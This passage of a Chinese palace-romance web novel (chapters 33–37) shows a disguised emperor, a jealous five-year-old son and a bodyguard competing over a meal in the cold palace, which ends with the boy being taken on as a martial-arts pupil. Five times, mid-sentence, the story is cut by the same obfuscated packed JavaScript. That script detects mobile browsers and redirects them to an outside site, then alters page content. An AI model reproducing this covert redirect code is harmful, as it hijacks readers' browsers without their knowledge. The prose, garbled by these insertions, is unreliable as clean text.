这会他立在逼仄的小厨房里,手上做的也不是什么风雅贵气的事儿,可偏偏只是人在这里,就好像连带着将这昏暗的厨房都带的明亮高档了许多。 因为要干出活的缘故,他的袖子略微挽起来一截,露出一小节手臂,古铜色的肌肤配上肌肉流畅的线条,让晋明鸢的视线都不受控制的停留了几分。 “你到底为什么在这里?”久久没有等到回应,贺云瑄目光一瞥,也看到了晋明鸢视线的落点,他一张小脸绷得更紧了,又一次闷声质问道。 “不做饭在厨房还能做什么?”贺江灈终于没好气的回了一句,一只鸡已经被他三下五除二的处理干净,剁成了块状,趁着这个空档,他瞥了一眼贺云瑄,“没事干就出去玩泥巴,别在这里碍手碍脚。” “你说谁碍手碍脚了?谁要玩泥巴?你让开,这里不用你,我能给娘亲做饭。”贺云瑄仰头看着贺江灈,越是看下去,他就越觉得面前这男人格外的不顺眼。 明明五年都没有露过面,现在跑出来装什么好人? 说到底还不就是来给他抢娘亲的吗? 他那日都看出来了,这男人身份不一般,明明弄来现成的吃的就像是抬抬手一样简单,可他今日偏要过来做饭。 哼,心机,就是吸引年轻注意力的。 不然谁家好人做饭把袖子挽那么高,反正他就不会! 只是这么想下去,贺云瑄的嘴都撅的高高的,他又上前两步,想要把贺江灈从灶台前拉开。 只是他那点儿力气对贺江灈来说比挠痒痒还不如,更不能拉动贺江灈分毫。 贺江灈依旧慢条斯理的处理着案上的食材,只是与他一起来的现在被冷落在角落里的暗二一张脸已经扭曲到了极点。 昨夜还听头说,陛下如今就像是那打开了任督二脉似的,看样子像是要与晋娘娘重新开始,他们还都觉得不太可能。 毕竟跟着陛下时间久的人都知道,当年陛下一心保护晋娘娘,可是晋娘娘却屡次三番的背叛他,甚至弄出来了个血脉不明的孩子。 在这种情况下,陛下愿意留晋娘娘和那孩子的性命,就已经让他们觉得有些夸张了,这若还能心无芥蒂的重新开始,那… 陛下未免心太宽了些。 可谁也没想到,没过几个时辰,他堂堂一个刀山火海里来去自由的暗卫就被陛下叫来冷宫当苦力,然后他就看到陛下穿着他们暗卫统一的制服在这里洗手作羹汤。 暗二只是看着,好半天都没办法回过神来。 还是贺江灈一句话强行拉回了他的思绪:“愣着做什么?还不将这碍手碍脚的小崽子拎出去?” “哦,嗷,属下遵命。”暗二乍然回神,连忙走向了贺云瑄。 他这么一开口,晋明鸢和贺云瑄才注意到这里除了贺江灈以外还有另一个人。 只是他刚才一直隐在角落里阴影处,就好像与那阴影融为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482378|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一体一样,实在不容易被人发现。 但贺云瑄反应的极快,直接攥住了贺江灈袖子的一角怒道:“喂,你凭什么把我赶走?这儿明明是我的地方,就算做饭,也该是我给娘亲做饭,你这是鸠占鹊巢,你不道德。” “把他弄走。”贺江灈根本不与贺云瑄说话,他又冲着暗二重复一句。 暗二手伸向了贺云瑄的后颈,正要将人提留出去,贺云瑄又道:“放开我,我不走,娘亲还没有吃过我做的饭呢,我要给娘亲做饭。” “你做什么饭?你个小东西,有灶台高吗?就做饭,走走走,别**,听话出去玩泥巴。”暗二推搡了贺云瑄一下,连拉带拽的将他往外扯。 贺云瑄脸色更差了,他抵抗不了暗二的推搡,只能用一双愤恨的眼睛盯着贺江灈:“我不要,我就要留下给娘亲做饭,娘亲才不要吃你做得饭,对不对娘亲?” 他转头看向门口的晋明鸢,声音里都带了哭腔。 之前于嬷嬷总说,他做饭做的可好吃了,他一直想让娘亲尝尝自己做的饭,可是娘亲却从来都不理他。 现在娘亲好不容易不一样了,他从昨天晚上就想着今天一定要亲手给娘亲做饭,他才不要被这个不知道从哪里冒出来的心机男人抢了先呢! 晋明鸢一直以为,贺云瑄会因为贺江灈出现在这里闹别扭的,她也一直想着该怎么安抚贺云瑄的情绪。 却没有想到她宝贝儿子闹是闹了,原因竟是因为跟贺江灈争灶台。 而且她只是稍一走神,竟然就闹到了这么不可开交的地步。 晋明鸢不敢犹豫,连忙上前隔开了暗二,又弯腰对着贺云瑄哄道:“小瑄瑄,你要陪你去玩好不好?做饭这么累的事,他既然想做,那就随他去好了,我们不跟他争。” 晋明鸢这么说,只是不想让她的宝贝儿子在做活,但听到贺云瑄耳朵里,显然不是那么回事,贺云瑄眼睛都红了,他问:“娘亲,你选他也不选我吗?你是不是又不想要我了?” 第33章 是娘亲的首选 贺云瑄一哭,简直要将晋明鸢的心都哭化了了。 晋明鸢手忙脚乱的低头:“哎呦,心肝宝贝小瑄瑄,你怎么会那么想呢?你永远都是娘亲的首选呀,娘亲怎么可能不要你呢?” “可是你让他给你做饭。”贺云瑄抬起头来,委屈巴巴的看了贺江灈一眼,眼泪是止住了,但是泪珠在眼眶里打转的模样更加惹人怜惜。 晋明鸢一边给他擦泪,一边哄道:“娘亲那不是怕累到我们小瑄瑄吗?有人愿意主动干活,有什么不好的?” 甭管出于什么原因,这男人把她宝贝儿子丢在这里五年不管不顾是事实,现在做些活而已,在晋明鸢看来是理所当然的。 “可我也想给娘亲做饭,娘亲还没有吃过我做的饭。”贺云瑄的手已经揪住了晋明鸢的袖子,他闷生生的表达着自己的不满。 晋明鸢对上他的眼睛,看到的就是他瞳孔深处一片的固执。 “好…” 对于宝贝儿子的要求,晋明鸢素来拒绝不了,刚要答应,暗二已经接收到了自家主子不快的目光,他连忙出声劝道:“晋娘娘,这做饭可不是个轻松的活。 之前便也罢了,现在主…头既然来了,就不劳烦小公子受这份累了,小公子毕竟年纪还小,哪里能整日泡在厨房?不如属下带小公子去外面玩玩?” 暗二搅动脑汁,硬着头皮说着可能会让晋明鸢心动的话,这会儿却在心里叫苦不已。 他只是个暗卫,又不是那舌绽莲花的张公公,陛下也真是看得起他,竟是将这种颇费口舌的事交给他来办。 “不要,他就是想要跟我抢娘亲,不就是做饭,我也能做,我才不走。” 贺云瑄在这件事上无比的固执,他绷着一张小脸瞪了暗二一眼,然后又伸手轻轻的去扯晋明鸢的袖子:“娘亲,云瑄也能给你做到的,你让他走好不好?我们不需要他!” “哎呀,小公子,我们头也是一片好心,再说了,这世界上总不能因为你会做饭,就不让进娘娘吃别人做的饭吧? 再说了,你也就是现在还小,能在晋娘娘身边,那等你以后有了自己的事,娶了媳妇,总不能还日日偎在晋娘娘身边吧? 总之不管你承不承认,我们头才是能陪晋娘娘一辈子的人,所以小公子,你还是早点儿学着离开娘亲吧。” 旁边贺江灈虽然一直没有说话,但是暗二能明显的感觉到自家主子的视线越来越冷,那明显就是不耐烦到了极致的表现。 暗二深吸了一口气,即使面前面对的只是一个孩童,他话里也强行待了刺。 话音落下,他又伸手想拉贺云瑄的胳膊,将人强行拉出去,贺云瑄猛地甩开了他,把晋明鸢的袖子握的更紧。 许是因为羞恼,他一张脸都涨红了几分,却是一本正经的瞪着暗二:“谁说我以后要娶媳妇,我就要一直围着娘亲,我才不要离开娘亲。” 吼完了暗二,他也没忘了在这儿阻拦他的罪魁祸首是谁,这次他直接冲着贺江灈道:“喂!你不让我留下来,是不是害怕自己做得饭不如我好吃,你怕输给我?” “你开什么玩笑?我们头岂会怕你一个小孩子?快快快,别闹了,走,跟叔叔出去玩。”暗二盯着一脑门冷汗,又要过来拉人。 苍天呐,这可真是不知者无畏。 这小公子也真是不怕死,要知道陛下之前留他性命都是… 他竟然还敢自己出来挑衅! 贺云瑄又扯了扯晋明鸢的袖口,小嘴一瘪:“娘亲,你相信云瑄一次嘛,你让他走。” 他这一撒娇,立刻就让晋明鸢的思绪回笼,晋明鸢狠狠地瞪了暗二一眼:“够了,我儿子的事哪容得了你自作主张?我儿子想做什么就做什么,跟你什么关系啊? 你要是那么闲,就听你主子的出去玩泥巴去好了。” 暗二一只手僵在半空中,进也不是,退也不是。 这若是面前的是别人,得了陛下的命令,他就能毫不犹豫的把人扯走,可偏偏… 那是晋娘娘护着的宝贝疙瘩,他们这些人敢对任何人失礼,却也不敢越过晋娘娘去。 暗二求助的目光看向了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482379|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺江灈,贺江灈摆了摆手:“下去吧。” 他目光终于施舍的瞥了贺云瑄一眼,不轻不重搅着锅里已经熬出香味的鸡汤。 哪怕他并没有说什么话,但四目相对的那一刻,贺云瑄都觉得他每个动作都充满了挑衅。 贺云瑄呼吸都重了几分,一张小脸崩的愈发的紧了。 哼,心机男! 五年没有出现,这一来就与他抢娘亲。 一个大男人竟然还玩这么脏的招数,故意让人拖延时间,弄出饭香吸引娘亲的注意力,实在是过分! 贺云瑄脸僵了又僵,他忽然拉住了晋明鸢的手指:“都怪这个坏人耽误时间,不然云瑄早就让娘亲吃上饭了,娘亲饿坏了吧,不如娘亲来帮我洗菜,我快快给娘亲做饭好不好?” 即便晋明鸢方才因为暗二的话略有动摇,但现在对于宝贝儿子的撒娇,她也不舍得拒绝,她连忙道:“好啊,小瑄瑄让娘做什么,娘亲就做什么。” 两个人卧在一起,一派母子情深的模样,暗二手里抱着剑立在门口,没用看到贺江灈此刻是什么反应,他就很是识趣的嘀咕道:“到底是小孩子,不像我们头,都不舍得晋娘娘干活。” 贺云瑄听到动静,很是不客气的翻了个白眼,又侧目瞥了贺江灈一眼。 哼,有个狗腿子了不起啊!等会儿有他后悔的! 不就是使手段吗?他也会! 贺云瑄如愿能给自己的娘亲做饭,也就暂时歇了和贺江灈斗法的心思。 逼仄的厨房里,几个人各施其职,很快就有饭香弥漫了冷宫,破旧荒凉的宫殿竟然升起了几分烟火气。 不出半个时辰,饭菜就陆续端上了桌,除了贺江灈带来的糕点,和炖好的鸡汤,还有贺云瑄炒的几个青菜,小小的桌子被摆得满满当当,明明是一顿早饭,偏又丰富的像是满汉全席一般。 三个人围着桌子坐下,两个男人分别坐在晋明鸢一左一右,目光却都不服气的顶着彼此,贺江灈先盛了一碗鸡汤朝着晋明鸢递了过来:“早上喝汤暖胃,尝尝。” 第34章 手段真脏 汤还没递过来,贺云瑄就已经按捺不住的鄙夷道:“早上炖那么油腻的汤,还说什么暖胃,我看你是想让娘亲不舒服吧?” 他顺手夹了一筷子青菜放到晋明鸢碗里,“娘亲,别听他的,尝尝我们一起炒的青菜。” “一起”两个字被他刻意的咬重,目光已经挑衅的落到了贺江灈的脸上,他又很是大方的给贺江灈也夹了一筷子菜:“你也尝尝我娘亲亲手洗的菜,是不是很好吃?” 哼,坏男人,刚才不是耍心机吗? 这菜可是娘亲洗的,他如果想要讨好娘亲,就得承认这菜好吃。 刚才在厨房里贺云瑄忍了这么久,就是等着此刻这一幕,他一双小手撑着腮,见贺江灈没有动作,便又催促道:“你怎么不吃?该不会嫌弃我娘亲洗的菜吧?” 甭管桌上直面这一切的贺江灈怎么想,没能上桌的暗二听着贺云瑄这夸张的话,都已经替贺江灈憋屈。 刚才还以为这小崽子是斗不过主子不愿意说话,没想到竟然在心里憋了个大的,在这儿等着呢。 小小年纪,心眼多的像藕一样,也不知道随了谁,反正晋娘娘不像是这样的人,倒是… 暗二小心翼翼的瞥了一眼贺江灈的侧脸,之前这孩子年纪小,五官还没有太长开看不出来,可现在那双眼睛分明就跟他家主子是一个模子里刻出来的,这当真不是主子的种? 暗二打量贺云瑄的时候,贺江灈也在打量他,又或者说目光在他与碗里那碗绿油油的青菜上面打转,捏着筷子的手骤然收紧,手背上的青筋都有些明显。 他总觉得,这小崽子眼神不那么清白,就像是在暗指什么。 贺云瑄把贺江灈古怪的神色看在眼里,他自觉自己捏住了贺江灈的软肋,兀自吃了一口菜,挽着晋明鸢的胳膊赞叹道:“哎呀,娘亲洗的菜就是好吃,又鲜又嫩,云瑄还从来没有吃过这么好吃的菜呢。 咦?你怎么还不吃?你该不会真的嫌弃我娘亲吧? 娘亲,你看看他,说是来陪你吃饭,现在又什么都不吃,也不知道是打的什么主意呢。” 晋明鸢也看向了贺江灈,她想到了昨夜贺江灈答应她的话,这会儿脸上已经多了紧张,她拽着贺云瑄的胳膊催促道:“你这孩子,别人还没有动筷呢,你吃什么?快吐出来。” 昨夜他口口声声说不会下毒,现在又什么都不吃,该不会真让自己说准了… 贺云瑄被晋明鸢突如其来的动作晃的五脏六腑都在摇晃,他眼睛里控制不住的流出来了生理泪水,刚才还胜券在握的表情,这会儿都僵住了,他有些茫然:“娘…娘亲,你…” “没毒。”还没等贺云瑄完整地问出来晋明鸢到底怎么了,刚才一直没有什么动作的贺江灈老神在在的把贺云瑄丢到他碗里的那筷子青菜放进了嘴里。 看到他这动作,再听他不紧不慢的话,晋明鸢方才松了一口气:“没毒你不早说,小瑄瑄你没事吧?” 她安抚的拍着贺云瑄的后背,顺手就端起桌上的鸡汤递过来,想要帮贺云瑄缓缓。 贺云瑄这边还没有回神,猝不及防下就被灌了一口鸡汤,察觉到那是什么的时候,他想吐出来已经来不及了,目光抬起来,正好对上贺江灈那双似笑非笑的眼睛。 贺云瑄这会儿哪里还不知道问题出在了什么地方? 这男人就是故意的! 他故意让娘亲误会饭里有毒,故意看自己的笑话! 贺云瑄瘪着一张脸,闷闷不乐的低着头,胸腔里的怒气几乎要压不住。 这个坏家伙,明明这么大的年纪,怎么能做出这么幼稚的事?真是太坏了! 他一定要阻止这个坏家伙接近娘亲,不然以娘亲的脑子肯定被他骗! 贺云瑄久久不说话,晋明鸢只以为他还没有缓过来,又哄道:“对不起啊,小瑄瑄,都是娘亲太紧张了,吓到你了吧?来,再喝口汤顺一顺。” 她端着碗就要喂他,而贺云瑄盯着那碗鸡汤,仿佛能看到对面男人的恶意,他伸手推开了晋明鸢的手:“我想喝水。” 谁要喝那坏家伙炖的汤,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482380|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不要! 贺江灈这会不紧不慢的道:“暗二,给他倒水。” 话说着他自己盛了一碗汤,递给了晋明鸢,慢条斯理道:“听说小孩子挑食是长不高的,他总这样也不是办法,以后…” “云瑄,听话,把汤喝了。”晋明鸢对贺江灈这句话深以为然,本来他宝贝儿子在冷宫过得就不好,现在更是瘦的皮包骨头,若是再挑食,恐怕还真的会影响发育。 那可不行。 他们小瑄瑄一定得长得芝兰玉树,风神俊朗,可不能因为挑食影响身高。 “娘亲…” 贺云瑄有些抗拒。 “听话,把汤喝了,挑食可不是什么好事。”在这件事上,晋明鸢没留一点商量的余地,脸也板了起来。 贺云瑄皱着眉,愤愤的看向贺江灈,贺江灈混不在意的掀了掀眼皮,甚至还顶着他的目光,又夹了一筷子青菜,若无其事的赞道:“阿鸢洗的菜,就是不一样,辛苦阿鸢了。” 明明那个菜是他炒的,可这男人却好像一点都不在意。 贺云瑄忽然在心里感觉到了一股浓烈的挫败感。 像是忽然察觉到了他的目光,贺江灈道:“你看我也没有用,我又不能替你长高,挑食可不是好习惯,你也不想让她生气吧?” 晋明鸢从来都没有像现在这样觉得贺江灈说话很有道理,她也点头:“小瑄瑄,你若是再不喝,娘亲真的要生气了。” 贺云瑄胸口都起伏不平,他抿了抿唇,忽然想到了什么,小声道:“娘亲能喂我喝吗?虽然我不想喝这个,可如果娘亲喂我的话,我会好好喝的。” “这有什么,我们小瑄瑄这么乖,娘亲喂你就是了。”听着贺云瑄那过分懂事的话,晋明鸢怜爱的摸了摸他的脑袋。 她拿着调羹,把汤小心翼翼的吹凉了,才喂到贺云瑄的嘴边,贺云瑄顺从的抿了口汤,目光越过晋明鸢的肩头,又挑衅的看贺江灈。 哼,耍脏手段逼他喝汤有什么用?反正他有娘亲喂,四舍五入还是他赢了。 第35章 该学点东西了 对于一大一小之间的暗流涌动,晋明鸢这里浑然不知。 一碗汤喂完,看着贺云瑄如此的配合,她忍不住赞道:“小瑄瑄真乖,好不好喝?娘再给你盛一碗,我们小瑄瑄正是长身体的时候,一定要多多吃饭。” 贺云瑄睫毛轻颤,在看向晋明鸢的时候,带着明显的失神。 今天的娘亲好温柔,这样的场景只在梦里出现过,他想留住娘亲的这份温柔,可是… 贺云瑄神色有些古怪的看了一眼那还在冒着热气的鸡汤,嘴巴抿紧,很是不想说话。 贺江灈却似漫不经心的开口:“她问你好不好喝,你怎么不理会?你那乖顺听话是装的?” 男人的手指一下又一下的在桌面上轻敲,发出的咚咚咚的声响,像是敲击进贺云瑄的心里。 贺云瑄小脸绷得更紧了,这个坏东西,就是在报复他以前的小心机,想让他亲口承认这汤好喝。 哼,没门! 贺云瑄不甘示弱的瞪了他一眼,挽着晋明鸢的胳膊道:“有娘亲喂我,就连恶心的鸡汤都变得好喝了呢,娘亲真好,以后娘亲都喂云瑄好不好?” 他声音故意放的黏糊糊的,音色还带着几分孩童天生的软糯,半张脸贴在晋明鸢的手臂上,只留一双带着浓烈挑衅的目光盯着贺江灈。 他看到男人原本散漫敲击桌面的手指略微屈起,改成了扣在桌上。 贺云瑄眼睛略微弯起,被晋明鸢袖子遮住的嘴角溢出了浅笑。 虽然娘亲五年没有理他,这男人也五年没与娘亲见面,他们看似在一条起跑线上,可他可是娘亲的儿子,他与娘亲血脉相连,这个不知从哪里冒出来的野男人怎么比得上他在娘亲心里的地位? 贺江灈同样没错过贺云瑄的目光,他并没有说指责的话,反而态度异常的大度:“你是男子汉,娇气一些倒也正常,只是如今你也到了该懂事的年纪,如果实在想要人喂,也该等阿鸢吃饱了再说。 不然若是为了喂你,阿鸢天天吃些半温不热的饭菜,时间久了终究伤胃,你年纪小不知道心疼人我不怪你,就是阿鸢若是病了…” 话音止在这里,他没有再说下去,又是重新给晋明鸢盛了汤,这才一本正经道:“先吃点东西垫垫,凡事都不如你自己的身子重要。” 贺云瑄盯着那碗被贺江灈递到晋明鸢嘴边的汤,方才才将扯出来的笑意在一瞬间消失不见,他的唇色也跟着泛了些许的白,一张脸上尽是愧疚。 虽然那碗被贺江灈端出来的汤依旧碍眼,但贺云瑄却只是抿着嘴,一句话也没有说。 都怪他不好。 只顾着和这个男人争娘亲,忘了娘亲还没有吃饭。 眼睑下垂,贺云瑄捏着筷子的手指都因为用力染了白。 “我不急的,小瑄瑄吃饱了吗?”晋明鸢注意力依旧在贺云瑄身上,她问。 贺云瑄听着她关切的声音,脸色僵了又僵,再一次看向贺江灈那只端着热汤的手,他闷声道:“我吃好了,娘亲快些吃饭吧。” 筷子戳进糕点里,将一块做工精致的糕点戳的面目全非,贺云瑄依旧觉的心里闷闷的。 娘亲是他最重要的人,他今日却忘了娘亲的感受,这实在是太不应该了! 都怪这个男人! 这本是他与娘亲的家,这个外来者凭什么在娘亲面前对着自己耀武扬威? 贺云瑄心里愤愤不平,贺江灈的声音又一次传来:“阿鸢,这小…小孩到底是个男孩子整日偎在厨房,实在有些说不过去,他这个年纪也该学些东西了。” 小崽子三个字,他几乎要脱口而出,先对上了晋明鸢探究的目光,他立刻改了口,换了个说法,一番话说完时,他再看贺云瑄,眼睛里像染了些许慈爱,倒真像是个一心为小辈考虑到晚辈。 “学东西?”贺江灈的话一下子就引起了晋明鸢的兴趣。 是呀,小瑄瑄如今已经五岁了,不说别的,也该认字读书了。 虽然他们身在冷宫,可事关儿子未来的事,确实得好好考虑。 晋明鸢刚要问贺江灈有没有什么办法给贺云瑄请夫子,就听贺云瑄有些紧张道:“娘亲,之前于嬷嬷就教过我识字,你不用为我费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482381|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,我可以自学,只要有书就行,我能学会的。” 面前这男人一看就没安什么好心,提出这样的要求,分明是想把他支开。 还不知道要对娘亲做什么呢,他必须得看好娘亲,断不能让娘亲被这种居心叵测的人骗了。 “这…小瑄瑄,你…” “娘亲放心,我自己能学会,不会耽误什么。”没有等晋明鸢劝阻的话说出口,贺云瑄就又一次笃定。 之前于嬷嬷教他识字,教他做饭,还给他留下了许多书本,他一直都没有落下功课的。 他一直都在等娘亲注意到他时,给娘亲个惊喜的。 “文章策论,你可以自学,可身为男人,总不能没有一点自保的能力,近来暗二正好无事,你就跟他学练武吧。” 贺江灈直接越过了晋明鸢,对贺云瑄下了定论。 这小东西太闲了实在是碍事,把暗二留在这里,给他找些事做也好,免得以后总在自己面前碍眼。 “这…小瑄瑄,你觉得呢?”晋明鸢其实有些心动,她如今在这冷宫进退维谷,儿子的身份好像真有些尴尬,她近期怕是没办法给儿子请师傅。 如今有人愿意教的话,那自然是再好不过。 只是她还是得尊重贺云瑄的意见,她又道:“小瑄瑄,你想不想学?娘都听你的,如果不想练武也没关系,反正有娘亲保护你。” “我学!”几乎是晋明鸢话音刚落,贺云瑄就迫不及待地接上了她的话。 他怎么能让娘亲保护自己呢? 他可是男子汉,他得保护娘亲才行。 就算这男人居心叵测,但有便宜不占是王八蛋,反正是他自己提出来的。 “暗二,还不过来认认你徒弟?”贺江灈道。 原本在外面老神在在的暗二,忽然被点名,他匆忙进门,还没反应过来是怎么一回事,贺云瑄就已经起身到了他面前,一板一眼的单膝下跪,抱拳行礼:“徒儿见过师傅。” 哈?师傅?他? 暗二挠挠头,连带着看向贺江灈时,目光都有些茫然。 第36章 你不喜欢云瑄吧 这陛下又是在搞什么? 怎么还莫名其妙的给自己收了个徒弟? 这徒弟若是寻常人便也罢了,可这身份嘛… 暗二不禁有些拿不准主意,他不明白这收徒是真的收徒,还是有更深层的意思。 这教… 又该不该真的教? 贺江灈说:“发什么愣,还不把你的徒弟带走,君子六艺,诗书礼乐,能教的你一并教了去好了。” 这看来是认真的了? 暗二还是有些浑浑噩噩的,动作几乎是僵硬的扶起了贺云瑄,心里更是一阵惶恐。 陛下这到底是在做什么?难道他还真的接受了晋娘娘这所谓的儿子? 随着心里疑惑不定,暗二到底能分辨出来自家主子是想要与晋娘娘单独相处,他轻轻拍了拍贺云瑄的肩膀:“走吧。” 贺云瑄却并没有直接跟他离去,而是用探究的目光望向了贺江灈:“你到底是什么身份?” 如果他只是让暗二教他些皮**武功便也罢了,可他方才说,诗书礼乐,君子六艺,这可不是一个普通侍卫能掌握的东西。 而自己新任的这个师傅明显又唯他马首是瞻,这人的身份绝对不简单。 贺云瑄完全不放心将自己娘亲单独与这么一个人放在一起。 贺江灈和贺云瑄目光撞上,他能感觉到贺云瑄眼里的固执。 这小崽子年纪不大,却不好糊弄。 虽然行为处事还是不怎么成熟,可偏偏想法奇多,远比晋明鸢要心思深沉。 贺江灈说:“暗卫,陛下的。” 语毕他又掀了掀眼皮,扫了暗二一眼:“他也是。” “陛下的暗卫什么都会吗?”贺云瑄还是觉得不对劲。 一个暗卫而已,至于样样精通? 这次贺江灈没说话,暗二解释道:“陛下身边的人各个都是精英,我们出去执行任务时,有时难免需要隐藏身份,自然各个领域都有涉猎,只是不精,不过教你也够了。” 话虽是这么说,但暗二心里忍不住犯嘀咕,就这么屁大点儿的孩子,再教十个他都绰绰有余,毕竟这京城,不知道多少户人家的公子,求着请他帮忙看文章。 只是他懒得与人打交道,这才在陛下身边隐姓埋名当了个暗卫,哪曾想闹到最后,还是摆脱不了与人为师。 贺云瑄又看了看贺江灈,再看看暗二,心底还是有些疑惑,暗二又拍了拍他的肩膀:“走吧,为师可不是随便就教人的,你这全是沾了我们陛…我们头的光。” “毕什么?”尽管暗二及时改口,贺云瑄还是敏锐地抓住了他话里的漏洞,他问。 视线又一次落在了贺江灈的身上。 他今日穿的衣服倒是与暗二如出一辙,看起来应当就是所谓暗卫的制式。 他那神不知鬼不觉的进入冷宫,甚至送来那些琳琅满目的饭菜,倒也像是一个暗卫可以做到的。 可贺云瑄偏偏记得与这人第一次见面时,他那一身华服,还有在阳光下折射出熠熠光辉的玉佩。 似是刻着龙纹的玉佩。 他总觉得这男人的身份并不像他说出来的那么简单。 “陛…陛…哪里有什么陛?你听错了。”暗二连连否认,他这会儿恨不得自己将自己的嘴封**,什么破嘴,怎么这么快,什么话也往外露。 “我没有听错,师傅,你是在心虚吗?”暗二的否认让贺云瑄感觉到了不同寻常,他脚步钉在了原地,这会儿完全没有要离开的意思了。 这么个不明不白出现在娘亲身边,连身份都不愿如实告知的人,断不是个好东西。 “毕四,我名字。”场面一度僵持不下的时候,贺江灈蓦地开口,将这个话题接了过来。 他又掀掀眼皮,冲着暗二使了个眼色,仅仅一个眼神,就让暗二心底一阵心虚。 他好像能看懂陛下的言外之意,哄不好这个孩子,他这个暗卫也不用当了。 暗二讪笑一下,他道:“对,那就是我们头的名字,你也听到了,他那名字实在难登大雅之堂,他平日都不让人提的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482382|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哎哟,我的好徒儿,我们快走吧,别在这里让师傅为难了。” 暗二说着,已经顺手拉住了贺云瑄的胳膊就要开溜。 苍天哦,早知道他宁愿跟着老大去查晋娘娘失忆的事,也不愿意跟着陛下当随从。 这到底是些什么事儿呀?陛下隐瞒身份过来与晋娘娘重修就好,他堂堂一个暗卫为此沦落成了个哄孩子的工具也就罢了,还…还… 还胆大包天地在这儿当着陛下的面编排陛下。 他现在也只盼着今日陛下与晋娘娘相处融洽,免得回去之后迁怒到自己。 贺云瑄垂着眼睑仔细想了想,这男人总是冷着脸,看起来一副不好惹的模样,叫毕四那么个名字,好像是有些和他这个人不搭。 他不喜欢这样的名字倒也说得过去。 贺云瑄终于还是被说服了,他又绷着一张小脸道:“我就在院子里,你别想趁我不在欺负我娘亲。” “哎呦,徒儿,你真是多虑了,我们头就不是那样的人,快走吧,你难道不想学武功保护你娘亲吗?”暗二连忙道。 苍天哦,这小东西人小胆量倒是不小,竟然还威胁陛下,难怪陛下非要把他支走。 贺云瑄到底被暗二说服了,他握紧了小拳头郑重的点头,他要赶紧学武功,他要保护娘亲。 伴随着暗二把贺云瑄带走,房间都好像清冷了几分,晋明鸢忽然拍了一下贺江灈的肩膀:“算你还有些良心,还知道记挂云瑄学习的事。” 她手劲儿不小,贺江灈肩膀都是一阵麻木的疼,他刚要说话,就听到晋明鸢又用格外认真的语调道:“谢谢你。” 贺江灈已经很久没有听到过晋明鸢这么认真的态度了,他有些短暂的失神:“谢我做什么?” 他没有明说,但言外之意也明显,晋明鸢既是把他当做那小崽子的父亲,那他做的这些当是理所当然的,倒不至于让她谢。 晋明鸢道:“你不喜欢云瑄,我看的出来,我不知道之前我们发生过什么,但还是谢谢你愿意替云瑄考虑。” 第37章 晋明鸢把他当什么了 她从神色到语气,都是贺江灈没见过的认真。 而认真的背后,更多的却是生疏。 “你与我之间不用这么客气。”贺江灈说,“他…” “要的,我虽然什么都不记得了,但你既然能在这宫里来去自如,云瑄却从来没有见过你,而那日我们刚遇见的时候,你态度明显惊讶,是不是说明你我之前,早就了断了?”晋明鸢手撑着脑袋望过来,话说的有理有据。 贺江灈视线措不及防下,撞上她一双清凌凌的眼睛,他心底不免一阵唏嘘,这晋明鸢怎么这么敏锐了? 贺江灈正要说话,晋明鸢就又自顾自的道:“你放心,我不是什么拿不起放不下的人,之前的事过去了就过去了,我懒得追究,你帮云瑄请师傅的这份恩情,我会记得的。 至于你送来的那些东西,我不会换的,云瑄总归是你儿子,他在这冷宫食不果腹也有你一份责任,那些你休想要回去。 